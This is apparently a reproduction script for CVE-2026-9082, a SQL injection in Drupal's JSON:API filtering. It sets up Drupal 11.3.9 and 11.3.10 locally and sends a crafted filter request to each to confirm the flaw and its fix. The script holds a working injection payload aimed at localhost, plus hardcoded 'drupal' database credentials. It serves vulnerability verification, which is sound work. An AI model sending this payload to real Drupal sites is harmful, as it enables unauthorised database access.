#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

DRUPAL_DIR="$ROOT/external/drupal"
PORT=8080

echo "[*] Starting CVE-2026-9082 reproduction..."

# 1. Ensure PostgreSQL is running
echo "[*] Ensuring PostgreSQL is running..."
service postgresql start >/dev/null 2>&1 || pg_ctlcluster 16 main start >/dev/null 2>&1 || true

# 2. Set up PostgreSQL database
echo "[*] Setting up PostgreSQL database..."
su - postgres -c "psql -c \"ALTER USER drupal WITH PASSWORD 'drupal';\"" >/dev/null 2>&1 || true
su - postgres -c "psql -c 'DROP DATABASE IF EXISTS drupal;'" >/dev/null 2>&1
su - postgres -c "psql -c 'CREATE DATABASE drupal OWNER drupal;'" >/dev/null 2>&1
su - postgres -c "psql -c 'GRANT ALL PRIVILEGES ON DATABASE drupal TO drupal;'" >/dev/null 2>&1

# 3. Clone or use existing Drupal repo
echo "[*] Preparing Drupal repository..."
if [ ! -d "$DRUPAL_DIR" ]; then
    git clone --depth=100 https://git.drupalcode.org/project/drupal.git "$DRUPAL_DIR"
fi

cd "$DRUPAL_DIR"

# Fetch tags if not present
if ! git rev-parse --verify 11.3.9 >/dev/null 2>&1; then
    git fetch --depth=100 origin tag 11.3.9 tag 11.3.10
fi

# 4. Ensure composer dependencies
echo "[*] Installing composer dependencies..."
if [ ! -d "$DRUPAL_DIR/vendor" ]; then
    composer install --working-dir="$DRUPAL_DIR" --no-dev --no-interaction --quiet
fi

# ==========================================
# VULNERABLE VERSION: 11.3.9
# ==========================================
echo "[*] Testing VULNERABLE version 11.3.9..."

# Reset any local changes before checkout
git -C "$DRUPAL_DIR" reset --hard HEAD >/dev/null 2>&1 || true
git -C "$DRUPAL_DIR" clean -fd >/dev/null 2>&1 || true

git -C "$DRUPAL_DIR" checkout 11.3.9 --quiet

# Ensure composer dependencies match this version
composer install --working-dir="$DRUPAL_DIR" --no-dev --no-interaction --quiet

# Create settings.php with PostgreSQL config
cat > "$DRUPAL_DIR/sites/default/settings.php" << 'EOF'
<?php
$databases['default']['default'] = [
  'driver' => 'pgsql',
  'database' => 'drupal',
  'username' => 'drupal',
  'password' => 'drupal',
  'host' => 'localhost',
  'prefix' => '',
];
EOF
chmod 644 "$DRUPAL_DIR/sites/default/settings.php"

# Install Drupal
echo "[*] Installing Drupal 11.3.9..."
PGPASSWORD=drupal php "$ROOT/repro/install_drupal.php" "$DRUPAL_DIR"

# Enable JSON:API and create content
echo "[*] Enabling JSON:API and creating test content..."
php "$ROOT/repro/setup_content.php" "$DRUPAL_DIR"

# Kill any existing process on the port
fuser -k "${PORT}/tcp" >/dev/null 2>&1 || true
sleep 1

# Start PHP built-in server
echo "[*] Starting PHP built-in server on port $PORT..."
php -S "localhost:$PORT" "$DRUPAL_DIR/.ht.router.php" &
SERVER_PID=$!
sleep 2

# Test exploit
echo "[*] Sending exploit request to vulnerable version..."
RESPONSE=$(curl -g -s -w "\nHTTP_CODE:%{http_code}" "http://localhost:$PORT/jsonapi/node/page?filter[t][condition][path]=title&filter[t][condition][value][%60]=x" || true)
echo "$RESPONSE" > "$LOGS/vulnerable_response.txt"

HTTP_CODE=$(echo "$RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2 || echo "UNKNOWN")
if echo "$RESPONSE" | grep -q "SQLSTATE\[HY093\]"; then
    echo "[+] VULNERABILITY CONFIRMED: HTTP $HTTP_CODE with SQLSTATE[HY093]"
    echo "INJECTION_CONFIRMED" >> "$LOGS/vulnerable_response.txt"
else
    echo "[-] Vulnerability NOT confirmed on 11.3.9 (HTTP $HTTP_CODE)"
    echo "INJECTION_NOT_CONFIRMED" >> "$LOGS/vulnerable_response.txt"
    kill $SERVER_PID >/dev/null 2>&1 || true
    exit 1
fi

kill $SERVER_PID >/dev/null 2>&1 || true
sleep 1

# ==========================================
# FIXED VERSION: 11.3.10
# ==========================================
echo "[*] Testing FIXED version 11.3.10..."

# Reset any local changes before checkout
git -C "$DRUPAL_DIR" reset --hard HEAD >/dev/null 2>&1 || true
git -C "$DRUPAL_DIR" clean -fd >/dev/null 2>&1 || true

git -C "$DRUPAL_DIR" checkout 11.3.10 --quiet

# Ensure composer dependencies match this version
composer install --working-dir="$DRUPAL_DIR" --no-dev --no-interaction --quiet

# Recreate database for clean install
su - postgres -c "psql -c 'DROP DATABASE IF EXISTS drupal;'" >/dev/null 2>&1
su - postgres -c "psql -c 'CREATE DATABASE drupal OWNER drupal;'" >/dev/null 2>&1
su - postgres -c "psql -c 'GRANT ALL PRIVILEGES ON DATABASE drupal TO drupal;'" >/dev/null 2>&1

# Create settings.php with PostgreSQL config
cat > "$DRUPAL_DIR/sites/default/settings.php" << 'EOF'
<?php
$databases['default']['default'] = [
  'driver' => 'pgsql',
  'database' => 'drupal',
  'username' => 'drupal',
  'password' => 'drupal',
  'host' => 'localhost',
  'prefix' => '',
];
EOF
chmod 644 "$DRUPAL_DIR/sites/default/settings.php"

# Install Drupal
echo "[*] Installing Drupal 11.3.10..."
PGPASSWORD=drupal php "$ROOT/repro/install_drupal.php" "$DRUPAL_DIR"

# Enable JSON:API and create content
echo "[*] Enabling JSON:API and creating test content..."
php "$ROOT/repro/setup_content.php" "$DRUPAL_DIR"

# Kill any existing process on the port
fuser -k "${PORT}/tcp" >/dev/null 2>&1 || true
sleep 1

# Start PHP built-in server
echo "[*] Starting PHP built-in server on port $PORT..."
php -S "localhost:$PORT" "$DRUPAL_DIR/.ht.router.php" &
SERVER_PID=$!
sleep 2

# Test exploit on fixed version
echo "[*] Sending exploit request to fixed version..."
RESPONSE=$(curl -g -s -w "\nHTTP_CODE:%{http_code}" "http://localhost:$PORT/jsonapi/node/page?filter[t][condition][path]=title&filter[t][condition][value][%60]=x" || true)
echo "$RESPONSE" > "$LOGS/fixed_response.txt"

HTTP_CODE=$(echo "$RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2 || echo "UNKNOWN")
if [ "$HTTP_CODE" = "200" ] && ! echo "$RESPONSE" | grep -q "SQLSTATE\[HY093\]"; then
    echo "[+] FIX CONFIRMED: HTTP $HTTP_CODE, no SQL injection error"
    echo "FIX_CONFIRMED" >> "$LOGS/fixed_response.txt"
else
    echo "[-] Fix NOT confirmed on 11.3.10 (HTTP $HTTP_CODE)"
    echo "FIX_NOT_CONFIRMED" >> "$LOGS/fixed_response.txt"
    kill $SERVER_PID >/dev/null 2>&1 || true
    exit 1
fi

kill $SERVER_PID >/dev/null 2>&1 || true

echo "[*] Reproduction complete."
echo "    - Vulnerable (11.3.9): SQLSTATE[HY093] error (SQL injection confirmed)"
echo "    - Fixed (11.3.10): HTTP 200 with empty data (injection blocked)"
exit 0
